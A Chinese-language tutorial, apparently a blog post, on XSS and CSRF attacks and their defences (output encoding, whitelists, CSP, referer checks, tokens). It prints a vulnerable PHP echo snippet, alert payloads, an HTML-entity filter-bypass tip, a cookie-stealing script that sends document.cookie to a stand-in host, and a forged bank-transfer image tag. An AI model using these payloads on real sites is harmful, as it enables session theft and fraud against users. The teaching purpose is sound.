XSS
跨站脚本攻击,指攻击者在网页中嵌入恶意脚本,当用户浏览此网页时脚本就会执行,从而达到攻击者的目的,比如获取cookie、导航到恶意网站等。
分类
反射型XSS
将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未经过任何过滤和转义,直接返回给客户端被浏览器渲染。就可能导致XSS攻击;
假设站点http://www.test.com/xss/reflect.php是这样一个有XSS漏洞的代码:
<? php
echo $_GET['x'];
?>
因为x的值没有经过任何过滤就直接输出,可以提交:http://www.test.com/xss/reflect.php?x=<script>alert(1)</script>
。
这样当用户点击此URL时,就会触发里面的脚本。
存储型XSS
存储型XSS会把用户输入的数据存储在服务器端。当浏览器请求数据时,脚本从服务器上传回并执行。
保存型需要向服务器提出至少两次请求,第一次将含有恶意代码的数据提交给服务器,服务器将数据保存,第二次是受害者想服务器提出访问含有恶意代码数据的页面,恶意代码执行。
DOM XSS
DOM XSS和反射型XSS、存储型XSS的区别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。
例如,
<script>
eval(location.hash.substr(1));
</script>
触发XSS的方式为http://www.test.com/xssme.html#alert(1)
XSS payload
XSS payload 就是用来完成各种具体功能的恶意脚本。
下面是一个窃取cookie的payload:
var img = document.createElement('img');
img.src = "http://www.testhack.com/log?" + escape(document.cookie);
document.body.appendChild(img);
一旦在受害者的网站上执行了此代码,就会将该网站的cookie发送到http://www.testhack.com。
防御
编码
首先学习一下编码相关的知识:
编码大概有以下几种:
- html实体编码
- html属性编码
十进制、十六进制ASCII码或unicode字符编码,样式为“&#数值。
例如“<”可以编码为<
和<
;
html标签属性中的值是字符实体的话,会被转换为相应的字符。这意味着下面这两个是等价的:
<button onclick="javascipt:alert(1);">xss</button>
<button onclick="javascipt:alert(1);">xss</button>
这个东西有什么用呢?比如某些特殊字符单引号双引号之类的被过滤了但是&#并没有被过滤,就可以用字符实体替代进行xss。
- js编码
body.innerHTML = '<a href="location.href=\'http\u003a//www.baidu.com\'">test</a>';
这里的url中的:使用的是其js编码\u003a,当进入到js的可执行环境时就会把编码后的\u003a重新解析成:。因此要对脚本中的数据进行编码。
url编码
一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如“/”的URL编码为%2F。
我们平时调用的encodeURIComponent等出来的就是url编码。css编码
因此针对不同位置可能出现的XSS攻击要进行不同的编码:
- HTML标签之间插入数据:HTML实体编码
<span> 用户输入 </span>
实体编码规则:
& –> &
< –> <
> –> >
” –> "
‘ –> '
/ –> /
- HTML属性值-HTML属性编码
当你要往HTML属性的值部分插入不可信数据的时候,应该对数据进行HTML属性编码。
不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用
<span value="用户输入"> </span>
编码规则:
除了数字和字母,对其他所有的字符进行编,只要该字符的ASCII码小于256。
编码后输出的格式为 &#xHH;
(以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)
- js数据插入-js编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性
<button onclick="用户输入"></button>
编码规则:
除了伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH
style属性中插入数据-CSS编码
当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。HTML URL-url编码
当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:
<a href="不可信数据"> Link Content </a>
总结一下,就是要在不同的可能发生XSS攻击的地方进行不同的编码,下面这张图总结地很好。
白名单
主要针对富文本编辑器,比如说允许一些无风险标签的输入,<b>,<i>
等等。而像<script>
标签一定要被过滤掉。
CSP
一个标准,对浏览器做出限制,以保证它只能从可信赖来源下载资源。用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。
CSP遵循以下规则:
- 不许允不可信赖的来源:只有来自明确定义过的可信赖来源的外链资源才可以被下载
- 不允许内联资源:行内脚本和内联CSS不允许被执行。
- 不允许eval函数:Javascript的eval函数不可以被使用
如何配置CSP?在服务器返回的响应中添加额外的HTTP头部:Content-Security-Policy。
因为安全策略是附属于每一个HTTP返回中,所以对服务器来说可以逐个页面的设置安全策略。通过在每一个返回中添加统一的CSP头来使得整个站点都可以采取同一个策略。
CSRF
跨站请求伪造(英语:Cross-site request forgery),是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
与XSS相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对浏览器的信任。
CSRF,就是攻击者欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(发邮件、发消息甚至转账等操作)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。
这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
例子:
假如一家银行用以执行转账操作的URL地址如下: http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码: <img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
如果有账户名为Alice的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失1000资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息(与XSS的区别)。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
防御
由于get请求是非常容易发生CSRF攻击的,因此使用post请求比较好。
其他的防范措施如下:
检查referer字段
HTTP头中有一个Referer字段,用以标明请求来源于哪个地址。
如果发现referer字段和请求的地址不在统一域名下,很有可能就是CSRF攻击,因为此时referer字段应该是恶意网站的地址,和请求地址不在一个域名下。检查校验token
由于CSRF的本质就是利用web中一些网站仅仅验证浏览器的漏洞,因此考虑在访问敏感数据时,要求浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验。
鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。